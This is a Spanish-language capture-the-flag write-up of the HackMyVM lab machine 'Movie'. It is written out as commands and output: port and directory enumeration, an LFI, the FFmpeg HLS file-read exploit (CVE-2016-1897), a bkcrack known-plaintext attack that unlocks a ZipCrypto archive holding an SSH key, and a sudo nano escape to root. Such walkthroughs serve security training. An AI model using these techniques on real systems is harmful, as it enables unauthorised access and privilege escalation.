cd ~/blog

~/writeups/hmv/005-movie.md

005 - Movie

medium Linux hmv 22-02-2024
LFIFFmpeg HLS Local File Read (CVE-2016-1897)ZipCrypto known-plaintext attack (bkcrack)sudo nano Privesc
hackmyvm.eu/machines/machine.php?vm=Movie

~2 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.30
 nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.30
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-22 15:05 -03
Nmap scan report for 192.168.1.30
Host is up (0.00039s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 e7:c1:40:66:c0:be:c8:86:dd:58:21:4a:03:76:78:12 (RSA)
|   256 86:9f:0d:8f:f1:e0:62:90:65:cf:79:ee:5e:e3:12:01 (ECDSA)
|_  256 2a:e0:ac:89:49:dd:e5:3a:8f:47:36:7a:2f:07:11:b8 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: movie.hmv
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds

Enumeración web

Enumeramos directorios con gobuster sobre la raíz y sobre /data:

 gobuster dir -u 192.168.1.30 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/home.html            (Status: 200) [Size: 552]
/index.php            (Status: 200) [Size: 552]
/data                 (Status: 200) [Size: 449]
/upload.php           (Status: 200) [Size: 0]
/dist                 (Status: 200) [Size: 1299]
/404.html             (Status: 200) [Size: 920]
...

 gobuster dir -u movie.hmv/data -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 449]
/login.php            (Status: 200) [Size: 449]
/logout.php           (Status: 200) [Size: 449]
/config.php           (Status: 200) [Size: 0]
/dist                 (Status: 200) [Size: 1311]
/404.html             (Status: 200) [Size: 920]
...

Complementamos con dirb, que además descubre el sitemap.xml:

 dirb http://192.168.1.30 -o dirb_results -R
...
==> DIRECTORY: http://192.168.1.30/data/
==> DIRECTORY: http://192.168.1.30/dist/
+ http://192.168.1.30/index.php (CODE:200|SIZE:552)
+ http://192.168.1.30/server-status (CODE:403|SIZE:277)
+ http://192.168.1.30/sitemap.xml (CODE:200|SIZE:762)
==> DIRECTORY: http://192.168.1.30/data/dist/
+ http://192.168.1.30/data/index.php (CODE:302|SIZE:0)
...

Dentro del sitemap.xml aparece el dominio movie.hmv, que agregamos a nuestro /etc/hosts.

LFI en index.php

Probamos LFI sobre los .php descubiertos fuzzeando el nombre del parámetro con ffuf y filtrando por el tamaño de la respuesta por defecto (-fs 552):

 ffuf -u "http://movie.hmv/index.php?FUZZ=/etc/passwd" -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/api/api-seen-in-wild.txt -fs 552
...
get_page                [Status: 200, Size: 1547, Words: 16, Lines: 29, Duration: 2ms]
...

El parámetro vulnerable es get_page.

FFmpeg Local File Read

El sitio es un conversor de vídeos que internamente usa FFmpeg. Investigando el método de conversión descubrimos que FFmpeg es vulnerable a un Local File Read (CVE-2016-1897) a través de listas de reproducción HLS embebidas en un AVI. Usamos el exploit de neex/ffmpeg-avi-m3u-xbin para generar un .avi que, al ser procesado, lea config.php:

 python3 gen_xbin_avi.py file:///var/www/html/data/config.php config.avi

Subimos el archivo, descargamos la versión convertida y, al reproducirla, vemos en pantalla las credenciales de la base de datos. Probamos esas credenciales en el login descubierto durante la enumeración de directorios y obtenemos acceso, que nos entrega un ZIP cifrado.

Ataque de texto plano a ZipCrypto (bkcrack)

Con 7z listamos el contenido y atributos del archivo:

 7z l -slt mydata_archive.zip

Descubrimos que el tipo de cifrado es ZipCrypto, vulnerable a un ataque de texto plano conocido. Descargamos bkcrack y listamos el contenido del ZIP:

 bkcrack -L mydata_archive.zip
bkcrack 1.6.1 - 2024-01-22
Archive: mydata_archive.zip
Index Encryption Compression CRC32    Uncompressed  Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
    0 ZipCrypto  Store       6f47b605          919          931 404.html
    1 ZipCrypto  Store       a7786ca6          552          564 home.html
    2 ZipCrypto  Store       00d78482         2602         2614 id_rsa
    3 ZipCrypto  Store       7e43bef8          143          155 index.php
    4 ZipCrypto  Store       da810eb6          762          774 sitemap.xml
    5 ZipCrypto  Store       ce6bb0d1         1881         1893 upload.php

El archivo contiene varios ficheros interesantes, entre ellos una id_rsa. Como sabemos con certeza que home.html comienza por <!DOCTYPE html>, lo usamos como texto plano conocido. Creamos el plano y lo comprimimos:

 echo '<!DOCTYPE html>' > plain
 zip plain.zip plain

Ejecutamos el ataque para recuperar las claves internas del cifrado:

 bkcrack -C mydata_archive.zip -c home.html -P plain.zip -p plain
bkcrack 1.6.1 - 2024-01-22
[19:54:11] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[19:54:12] Attack on 725361 Z values at index 6
Keys: d706e724 da372a68 a79864b0
1.0 % (7474 / 725361)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 7474
[19:54:24] Keys
d706e724 da372a68 a79864b0

Con las claves encontradas generamos un nuevo ZIP descifrado, asignándole la contraseña password:

 bkcrack -C mydata_archive.zip -k d706e724 da372a68 a79864b0 -U pwned.zip password
bkcrack 1.6.1 - 2024-01-22
[19:57:12] Writing unlocked archive pwned.zip with password "password"
100.0 % (6 / 6)
Wrote unlocked archive.

Dentro está la id_rsa que suponemos pertenece al usuario tarantino, y nos da acceso por SSH:

 ssh tarantino@192.168.1.12 -i id_rsa
...
tarantino@movie:~$

Obtenemos la primera flag.

Escalada de privilegios (sudo nano)

Revisamos sudo -l:

tarantino@movie:~$ sudo -l
Matching Defaults entries for tarantino on movie:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tarantino may run the following commands on movie:
    (root) NOPASSWD: /usr/bin/nano /etc/passwd

Podemos ejecutar nano como root sobre /etc/passwd. Desde un nano privilegiado hay más de un camino para obtener una shell.

Camino 1 — abrir un fichero con el buscador (Ctrl+R) y escapar a comando (Ctrl+X):

sudo -u root nano /etc/passwd
ctrl + r
ctrl + x
reset; sh 1>&0 2>&0

Camino 2 — ejecutar un comando externo (Ctrl+T) para asignar SUID a bash:

sudo -u root nano /etc/passwd
ctrl + t
chmod u+s /bin/bash
tarantino@movie:~$ /bin/bash -p
bash-5.1# whoami
root

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados